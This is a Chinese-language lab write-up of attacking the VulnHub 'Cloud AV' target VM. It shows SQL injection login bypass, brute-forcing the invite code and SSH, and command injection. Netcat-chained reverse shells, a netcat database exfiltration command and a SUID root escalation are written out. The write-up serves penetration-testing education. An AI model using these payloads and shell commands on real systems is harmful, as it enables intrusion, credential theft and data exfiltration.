一起來打靶 02

W00L00發表於2022-03-23

0x00 靶機介紹

靶機地址:BoredHackerBlog: Cloud AV ~ VulnHub

靶機難度:低(思路和技巧)

推薦虛擬機器:VirtualBox

0x01 內容簡介

  • 涉及的攻擊方法

    • 埠掃描
    • WEB偵查
    • SQL隱碼攻擊
    • 命令注入
    • 密碼爆破
    • 程式碼審計
    • NC串聯
    • 本地提權
  • 簡介

    雖說難度級別為低,但是從還原整個滲透過程的角度來看,這個靶機非常全面。

    為了更加全面的還原真實滲透思路,所以即便是失敗的嘗試過程,我也為大家完整的進行了展示。同時最終的總結階段,我增加了圖示來突出滲透過程的線索,希望將成果與收穫沉澱下來,成為學員頭腦中可複用的經驗。

  • 背景

    • 是一個雲防病毒掃描服務!目前處於測試階段
  • 打靶目標

    • 滲透該服務,找出漏洞並提權

0x02 環境搭建

下載好靶機.ova檔案後匯入到VirtualBox中即可

確保靶機和kali在同一網段中

kali IP地址:10.0.2.7

0x03 主機發現

因為靶機和kali在同一網段中,所以優先選擇二層的主機發現技術

上次使用了arp-scan這個工具,本次使用arping,做同一件事情使用不同的工具原因如下

arp-scanarping對比

  • 相同點
    • 都可用來二層的主機發現
  • 不同點
    • arp-scan更傾向於滲透測試使用的工具,更接近於黑客工具的定位
    • arping是幾乎所有的Linux發行版當中都會預設包含的一個工具,從工具的廣泛度而言arping可以在更多的環境下使用它,因為在很多情況下,滲透的目標系統可能並不包含像arp-scan這種更傾向於黑客的工具

使用arping進行主機發現,短板是沒有辦法對一段的IP地址進行一次性的,統一的主機發現;所以使用時需要結合shell的迴圈語句

對kali所在的網段10.0.2.1-10.0.2.254進行掃描

執行命令:for i in $(seq 1 254); do sudo arping -c 2 10.0.2.$i | grep "time="; done

image-20220317010108403

10.0.2.1-3這三個IP是虛擬機器軟體為了完成基本功能所使用到的IP,所以一定不是靶機IP,故10.0.2.8就為靶機的IP

10.0.2.8進行全埠的掃描

執行命令:sudo nmap -p- 10.0.2.8

image-20220317010508737

掃描結果顯示開放了228080兩個埠,繼續對228080兩個埠進行服務版本的發現

執行命令:sudo nmap -p22,8080 -sV 10.0.2.8

這些命令和引數都是非常通用的,即便在真實的滲透環境下,基本上也是按照這樣的順序,先做主機發現,然後做埠掃描,最後再做服務和應用版本的發現

image-20220317010931601

掃描結果顯示

  • 22埠,開放的是OpenSSH 7.6p1這個版本的的SSH服務
  • 8080埠,開放的是httpd服務,並且服務端仍然使用的是Werkzeug這個使用python開發的web應用底層開發框架,和靶機01的情況完全相同

0x04 WEB偵察

既然開放了web服務,那麼肯定要開啟瀏覽器訪問一下:http://10.0.2.8:8080

image-20220317011645736

從頁面的提示資訊中可以得到,這是一個雲防毒掃描器,需要輸入邀請碼成功登入後才可以使用,雲查殺服務。

這裡的邀請碼本質上就類似於密碼的作用,頁面中的表單即為要攻破目標靶機的第一關任務

通過密碼來進行身份驗證的功能,攻擊思路一般有兩個

  1. 利用程式在服務端程式碼上的邏輯漏洞,通過sql注入的方式繞過身份驗證
  2. 暴力破解方式,將密碼破解出來

接下來逐一演示這兩種方法,打靶的時候選擇其中一種就可以了

0x04-1 SQL隱碼攻擊繞過身份驗證

首先開啟burpsuite並在瀏覽器上設定好burpsuite的代理

在頁面表單中隨便輸入一點內容,點選Log in按鈕

image-20220317012758149

image-20220317012956058

可以看到burpsuite抓取到了本次提交的資料包,將其傳送到Intruder模組,利用其批量的,重複的資料提交能力向password這個位置提交一些特殊的符號,來測試服務端是否包含一些常見的注入漏洞

Intruder模組將password新增成資料的注入點

image-20220317013644530

配置Payloads,可以將鍵盤上的所有符號挨個注入一遍

背後的原因是在任何的程式語言環境中,鍵盤上可以輸入的符號,比如:, ' " %,都具有特殊的功能性的作用,當在注入點注入了所有的符號後,如果在這個位置存在某種注入漏洞的話,往往就會導致伺服器端程式碼執行出錯或者觸發漏洞,造成語義上的歧義,從而造成伺服器端無法正常處理提交的請求,最後通過觸發這些漏洞就可以發現伺服器端可能存在的注入漏洞。

手動新增或匯入以下內容的字典檔案

`
~
!
@
#
$
%
^
&
*
(
)
-
_
+
=
|
\
{
}
[
]
;
:
'
"
<
,
>
.
?
/

新增完成之後,點選右上角的start attack按鈕,開始爆破

image-20220317151654231

對於資料提交之後的結果篩選通常會有兩種方法

  1. 通過響應的碼的方式。提交正確的資料和錯誤的資料,往往服務端的響應碼會有些不同

image-20220317151943268

  1. 通過響應長度的方式。提交正確的資料和錯誤的資料,往往服務端的響應的資料內容會不太相同,資料量是會有所差別的

image-20220317152146361

結果顯示,提交資料為"時伺服器端響應碼與其餘的不同,而且響應的資料量遠遠大於其他資料提交請求的響應

檢視幾個響應碼是200的資料包,發現返回的內容都是WRONG INFORMATION

image-20220317152617452

再檢視響應碼是500的資料包

image-20220317152822457

通過檢視響應內容發現,當提交資料為"的時候似乎觸發了服務端的異常報錯

從返回的報錯中可以看到目標伺服器的很多檔案系統路徑,發現當前服務端執行的應用程式具體放置在那個路徑之下,檔名叫什麼,透漏了很多服務端具體的資訊,比如/home/scanner/cloudav_app/app.py

最後一行顯示/home/scanner/cloudav_app/app.py第18行,由於注入了"而導致了這個報錯,其中有一段是sql的查詢語句,可以猜測提交的"似乎是被拼接到了當前的sql查詢語句當中

拼接sql語句的程式碼為

select * from code where password="; + password + ";

當提交的資料為"時,sql語句就會變成這樣

select * from code where password="; + " + ";

第一個"與我們提交的"進行了閉合,導致了最後一個"沒有另外一個"與其閉合,從而觸發了服務端程式碼執行的錯誤

這是一個典型的sql注入漏洞,嘗試構造Payloads,攻擊這條sql語句,實現在不知道密碼/邀請碼的情況下也可以登入後臺

經常使用的一個攻擊方法就是通過邏輯,Payloads如下

select * from code where password="; + " or 1=1--  + ";

由於or 1=1永遠為真,所以不論雙引號中包裹的是什麼資料,最終在執行sql語句的過程中都會判定後面的判斷語句為真

-- 表示的是sql語句中註釋符(注意後面--還有有一個空格)

關閉burpsuite資料包攔截功能,通過瀏覽器提交構造的Payloads

" or 1=1-- 

image-20220317155907402

點選log in按鈕,提交到服務端

image-20220317160150219

成功登入到了後臺,從頁面內容中可以得知,在表單中輸入檔名,提交到服務端之後,服務端就會對這個檔案進行查殺

0x04-2 暴力破解邀請碼

首先開啟burpsuite並在瀏覽器上設定好burpsuite的代理

在頁面表單中隨便輸入一點內容,點選Log in按鈕

image-20220317012758149

image-20220317012956058

可以看到burpsuite抓取到了本次提交的資料包,將其傳送到Intruder模組,利用其批量的,重複的資料提交能力向password這個位置嘗試進行爆破

Intruder模組將password新增成爆破點

image-20220317013644530

選擇爆破密碼使用的字典檔案

image-20220318235150450

在kali的/usr/share/wordlists目錄下存放著很多的密碼字典檔案可供選擇,本次就選擇一個比較簡單的,比如nmap.lst這個nmap通常使用的字典檔案

載入好密碼字典檔案後,點選右上角的Start attack按鈕開始爆破

image-20220318235614067

對於資料提交之後的結果篩選通常會有兩種方法

  1. 通過響應的碼的方式。提交正確的資料和錯誤的資料,往往服務端的響應碼會有些不同

image-20220319000050158

  1. 通過響應長度的方式。提交正確的資料和錯誤的資料,往往服務端的響應的資料內容會不太相同,資料量是會有所差別的

image-20220319000439513

結果顯示,提交password的伺服器響應資料量遠遠大於其他資料提交請求的響應

檢視幾個響應資料長度是175的資料包,發現返回的內容都是WRONG INFORMATION

image-20220319000703851

檢視唯一一個返回資料包長度是345的響應

image-20220319000906631

發現當提交資料為password時,服務端返回的響應包含重定向,重定向到了/scan路徑下

嘗試在瀏覽器表單中輸入password並提交

image-20220319001201744

點選log in按鈕,提交到服務端

image-20220317160150219

成功登入到了後臺,從頁面內容中可以得知,在表單中輸入檔名,提交到服務端之後,服務端就會對這個檔案進行查殺

0x05 命令注入

構想一下這個web應用程式是如何實現防病毒掃描的

image-20220317161045268

首先對於紅框中的部分,很容易聯想到在Linux系統中執行ls -l返回的結果,所以有理由猜測顯示的檔案就是放置在服務端的一些檔案

可以猜測,當在表單中輸入某個檔名比如hello並提交給伺服器後,伺服器端可能會呼叫某種防毒軟體比如xxxscan,執行命令xxxscan hello,來進行掃描

如果真是這樣的話就可以利用Linux shell中的管道符來執行其他的命令

管道符號,是Linux一個很強大的功能,符號為一條豎線:"|"。

用法:command 1 | command 2

功能是把第一個命令command 1執行的結果作為command2的輸入傳給第二個命令command 2

利用管道構造Payloads

hello | id

在瀏覽器的表單中提交Payloads

image-20220317162450219

等待片刻之後,發現注入的id命令的確被服務端執行了

image-20220317162615896

結果顯示當前程式執行的賬號是scanner,既然命令注入漏洞已證實存在,接下來就可以通過注入更多的執行來完成反彈shell的目的

0x06 NC串聯

通過之前的掃描結果可以得知伺服器端有Python的執行環境,所以可以使用靶機01中的Python反彈shell程式碼

但是在這裡介紹一種新的方式,使用nc命令

檢視伺服器端是否有nc命令,構造Payloads

hello | which nc

在瀏覽器的表單中提交Payloads,等待片刻之後

image-20220317163541484

結果顯示伺服器端包含有nc這個命令,那麼接下來就可以使用nc來反彈shell

首先在kali端啟動偵聽

執行命令:nc -nvlp 4444

image-20220317163700163

通常情況下nc命令都會有一個-e引數,可以指定在連線成功後,執行一個shell的終端,將接收到的資料放到shell終端中執行並返回結果

利用nc命令反彈shell,構造Payloads

hello | nc 10.0.2.7 4444 -e /bin/sh

在瀏覽器的表單中提交Payloads,等待一段時間之後,發現kali上的nc並沒有接收到反彈的shell連線,這是因為

nc命令有很多的版本,在每一個Linux發行版當中都可能使用不同的版本,有的版本帶-e引數,有的版本不帶-e引數

-e引數去掉,看看能不能連線成功

構造Payloads

hello | nc 10.0.2.7 4444

在瀏覽器的表單中提交Payloads,等待片刻之後,發現服務端nc的基本連線成功可以正常使用

image-20220317165746515

也就意味著伺服器端nc的確存在且可以正常使用,只是不帶-e引數

對於此種情況可以利用到一個使用nc的技巧,叫做

nc串聯

具體使用方法是

nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444

執行的邏輯是:nc 10.0.2.7 3333接收來自遠端的命令,通過管道符|將命令傳遞給/bin/bash來執行,再次通過管道符|將命令執行的結果傳輸給nc 10.0.2.7 4444

利用此種方法需要再kali上開啟兩個偵聽埠

執行命令:nc -nvlp 3333

nc -nvlp 4444

image-20220317170601088

構造Payloads

hello | nc 10.0.2.7 3333 | /bin/bash | nc 10.0.2.7 4444

在瀏覽器的表單中提交Payloads,等待片刻之後

image-20220317172254354

3333埠和4444埠連線都建立成功,並且在3333埠上輸入命令,執行的結果會在4444埠這邊顯示出來,利用nc命令反彈shell成功

0x07 檢視SQLite資料庫

通過以上的ls命令可以看出在當前目錄下存在app.pydatabase.sql等4個檔案

首先對app.py進行程式碼審計一下,檢視是否有提權的漏洞

執行命令:cat app.py

image-20220317173854227

一番審計過後,並沒有發現什麼後期提權為root使用者似乎並沒有什麼幫助

再來關注一下database.sql檔案,使用file命令檢視檔案的格式

file命令用來識別檔案型別,也可用來辨別一些檔案的編碼格式。它是通過檢視檔案的頭部資訊來獲取檔案型別,而不是像Windows通過副檔名來確定檔案型別的。

執行命令:file database.sql

image-20220317173956675

從結果中可以得知這是一個SQLite 3.x的資料庫檔案,結合之前sql注入返回的報錯資訊,有理由懷疑這個資料庫檔案就是web應用程式服務端使用的資料庫,因為SQLite就是一個本地的資料庫,資料庫的內容都是以資料庫檔案的方式存放在目標伺服器的檔案目錄下

這裡面是否包括一些機密的資訊呢?有理由要檢視一下,嘗試開啟這個資料庫檔案

執行命令:sqlite

sqlite3

image-20220317190329334

執行命令之後無任何回顯結果,說明在目標靶機上沒有sqlite解析環境,所以不得不將database.sql資料庫檔案下載到kali上進行解析

通過nc命令來傳輸檔案

首先在kali上偵聽一個埠,並將接收到的資料轉發到db.sql這個檔案當中

執行命令:nc -nvlp 5555 > db.sql

image-20220317190632632

在目標靶機上,通過nc連線kali,並通過重定向命令傳送檔案

執行命令:nc 10.0.2.7 5555 < database.sql

image-20220317190849549

image-20220317190921059

命令執行完畢之後,在kali端接收到了連線,因為database.sql檔案不是很大,很快就可以傳輸完畢,所以等待一會之後就可以結束nc在5555埠上的連線

檢視當前目錄

image-20220317191149806

db.sql已經建立成功,使用kali中的sqlite開啟資料庫檔案,

執行命令:sqlite3 ,進入sqlite的命令提示符下

image-20220317191359942

接著檢視資料庫的內容

image-20220318212938623

從顯示的資料中可以看到,資料表code中只有一個欄位password,其中匯入了四個密碼

0x08 SSH爆破

從資料庫中獲得了四個明文密碼,又由於之前的掃描得知目標系統是開啟SSH服務的,按照流程應該利用賬號及這些密碼嘗試能否成功登入目標系統

首先檢視目標系統中可以登入的使用者賬號

利用nc在目標系統上執行命令:cat /etc/passwd 或者 cat /etc/passwd | grep /bin/bash

image-20220318214526748

從中可以得到3個可用於登入系統的賬號

禁止使用者登陸的 /bin/false和/sbin/nologin的區別

1 區別
/bin/false是最嚴格的禁止login選項,一切服務都不能用。
/sbin/nologin只是不允許login系統

小技巧:
檢視 /etc/passwd檔案,能看到各使用者使用的shell

2.1 nologin
當使用者配置成/sbin/nologin時,如果再使用該使用者ssh到linux作業系統,會提示
This account is currently not available.

2.2 false
當使用者配置成/bin/false時,ssh之後顯示如下
root@vultr:~# useradd -s /bin/false -M -N user111
root@vultr:~# su user111
root@vultr:~# whoami
root

不會有任何提示,使用者切換不過去

將這三個賬號儲存為使用者名稱字典檔案user.txt,內容如下

image-20220318215108177

再將資料庫中的四條密碼儲存為密碼檔案pass.txt,內容如下

image-20220318215251905

使用hydra命令對SSH進行爆破

執行命令:hydra -L user.txt -P pass.txt ssh://10.0.2.8

image-20220318215644967

執行結果令人失望,沒有在其中得到任何一個可用的賬號密碼,通過賬號密碼遠端登入目標系統SSH服務的攻擊意圖失敗了...

這是一個失敗的嘗試

當在做真實的滲透測試攻擊時,經常會收集到看似有用的資訊,比如賬號密碼資訊,但是拿著已經獲得的機密資訊去做進一步攻擊時往往是會失敗的,雖然攻擊結果是失敗的,但是並不代表這這一次的嘗試是無意義的,其實這些看似失敗的嘗試也是在進行滲透測試攻擊思路中非常重要的一部分,所以當收集到這樣的資訊時,做這樣的嘗試是非常非常有必要的。

0x09 SUID提權

既然通過SSH爆破的攻擊方式失敗了,接下來就不得不在目標系統上進行其他的資訊收集手段尋找可以成功提權的攻擊手段

檢視當前目錄及子目錄下的檔案內容,看看有沒有對提權有幫助的資訊

image-20220318222819670

一番檢視並沒有尋找對提權到什麼有用的資訊

回到上一級目錄,再看看其他的檔案內容資訊

image-20220318223319808

對於其中以.開頭的隱藏檔案也是有必要一個一個檢查的,不過經過一番檢視後在這些隱藏檔案中也並沒有發現對做提權攻擊有幫助的資訊

不多囉嗦了,接下來就直奔對做提權攻擊有幫助的目標

可以看到在當前目錄下有update_cloudavupdate_cloudav.c這兩個檔名稱相同的檔案,其中update_cloudav是一個可執行的檔案,那麼就有理由懷疑update_cloudav.cupdate_cloudav的原始碼檔案

值得注意的是update_cloudav許可權是-rwsr-xr-x,是帶suid許可權標記位的,更令人驚喜的是這個程式的屬主是root賬號

凡是具有suid許可權標記位的可執行檔案,當這個檔案一旦執行的時候,無論當前是任何使用者賬號,在執行這個檔案後就會預設繼承這個檔案屬主的許可權,也就是root的許可權

可以設想一下如果可以執行update_cloudav程式,再通過某種命令注入的方法,利用它的suid許可權標記位,若利用成功就可以用root許可權來執行目標系統中的命令,包括任何可以反彈shell的命令,最終的結果就都會形成獲得了一個root許可權的反彈shell

所以suid位也是進行本地提權非常重要的一種手段,當然靶機01使用到的利用核心漏洞進行本地提權的手段也非常重要,它們倆都非常的常用

順著這個思路,為了實現提權,非常有必要檢視一下update_cloudav的原始碼檔案,看看這個程式是如何呼叫系統指令,如何跟系統進行互動的

利用nc在目標系統上執行命令:cat update_cloudav.c

image-20220318230605563

簡單檢視之後,發現這個C語言原始碼檔案非常的簡單,僅僅時呼叫了系統當時已經存在的程式freshclam,同時強制要求在執行的時候傳遞一個或多個命令列引數,最終將freshclam與傳遞的引數拼接起來執行。

其中freshclam是開源防毒軟體的ClamAV進行病毒庫更新的程式,參考連線:ClamAV病毒查殺 - 簡書 (jianshu.com)

C語言函式

函式名:setgid - set group identity(設定組ID)

函式名 setuid - set user identity(設定使用者ID)

參考連線:

隨便跟一個引數,執行一下update_cloudav試試

image-20220318232245672

程式似乎報錯了

現在並不清楚關於這個日誌檔案freshclam.log的報錯是否會影響update_cloudav程式的正常執行,進而又是否會影響嘗試利用這個程式的suid許可權標記位來達到提權的目的

在真實的滲透測試過程中,很多時候獲得的資訊也並不完整,所以很多情況下都需要大膽嘗試,按照我們頭腦當中構想的滲透思路,通過實踐來驗證我們的攻擊思路

接下來不妨大膽的嘗試一下再次利用NC串聯來構造Payloads,進而反彈shell

構造的Payloads如下

"a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"

之所以要用雙引號將所有的內容包裹起來是為了讓update_cloudav這個程式將雙引號中的內容全部作為執行它的命令列引數,從而繼承它的的suid許可權,獲得root許可權的反彈shell

在執行這個Payloads之前需要在kali行偵聽55556666兩個埠

執行命令:nc -nvlp 5555

nc -nvlp 6666

image-20220318233731422

然後通過nc在目標系統上執行構造的Payloads

執行命令:./update_cloudav "a | nc 10.0.2.7 5555 | /bin/bash | nc 10.0.2.7 6666"

image-20220318233958802

執行完畢後檢視kali端偵聽的兩個埠是否建立了連線

image-20220318234152357

可以看到連線成功建立,NC串聯再次成功

可喜可賀,取得了root許可權的反彈shell,本次打靶圓滿完成!

0x0a 總結

  • 打靶過程圖片概述

靶機 02

  • 打靶過程文字概述
    1. 首先做了主機發現,發現靶機IP地址之後,對它進行了埠掃描以及服務版本的掃描,進而發現了一個工作在目標靶機8080埠的HTTP服務
    2. 通過瀏覽器訪問8080埠上的WEB服務,在預設的WEB頁面上發現了sql注入漏洞,使用sql注入漏洞或暴力破解邀請碼的方式登入到了WEB應用的後臺
    3. 在後臺頁面中,很容易的發現的一個命令注入漏洞,並且利用這個命令注入漏洞獲得了一個反彈shell
    4. 取得了反彈shell之後,要做的就是在目標靶機上進行資訊收集,在這個階段當中發現了一個資料庫檔案,在其中發現了一些疑似密碼的字串
    5. 利用這些疑似為密碼的字串嘗試進行SSH密碼暴力破解,然後並沒有成功
    6. 於是不得不進一步再去收集更多的資訊,最終在目標系統上發現了擁有suid許可權的可執行程式
    7. 通過程式碼審計發現了程式碼當中的一些問題,並找到了利用suid提權漏洞的攻擊方式
    8. 最終取得了目標靶機的root許可權,完成了整個的打靶過程
  • 打靶過程對應的視訊連結:點選檢視

相關文章